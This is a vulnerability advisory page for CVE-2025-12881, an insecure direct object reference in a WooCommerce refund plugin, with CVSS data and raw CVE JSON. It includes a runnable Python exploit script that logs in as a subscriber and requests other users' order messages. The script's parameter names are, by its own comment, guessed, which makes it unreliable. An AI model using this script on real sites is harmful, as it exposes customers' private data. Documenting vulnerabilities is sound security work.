Security Vulnerability Report
中文
CVE-2025-12881 CVSS 5.4 MEDIUM

CVE-2025-12881

Published: 2025-11-21 08:15:54
Last Modified: 2026-04-15 00:35:42

Description

The Return Refund and Exchange For WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.5.5 via the wps_rma_fetch_order_msgs() due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read other user's order messages.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Return Refund and Exchange For WooCommerce <= 4.5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12881 PoC - IDOR in WooCommerce Refund Plugin # Target: WordPress site with Return Refund and Exchange For WooCommerce plugin <= 4.5.5 def exploit_idor(target_url, username, password, target_order_id): """ Exploit IDOR vulnerability to read other users' order messages Args: target_url: Target WordPress site URL username: Valid WordPress subscriber account password: Password for the account target_order_id: Order ID to retrieve messages from (can belong to other users) """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit IDOR vulnerability # The vulnerable endpoint typically uses AJAX or REST API exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Try different parameter names as seen in similar vulnerabilities exploit_data = { 'action': 'wps_rma_fetch_order_msgs', 'order_id': target_order_id # IDOR: No ownership validation } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Order messages for Order ID {target_order_id}:") print(response.text) return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <target_order_id>") print("Example: python exploit.py https://example.com subscriber secret123 456") sys.exit(1) exploit_idor(sys.argv[1], sys.argv[2], sys.argv[3], int(sys.argv[4]))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12881", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:54.177", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Return Refund and Exchange For WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.5.5 via the wps_rma_fetch_order_msgs() due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read other user's order messages."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3394215%40woo-refund-and-exchange-lite&new=3394215%40woo-refund-and-exchange-lite&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9c159237-1a3a-4d42-9a2e-fbd6ca98f38e?source=cve", "source": "[email protected]"}]}}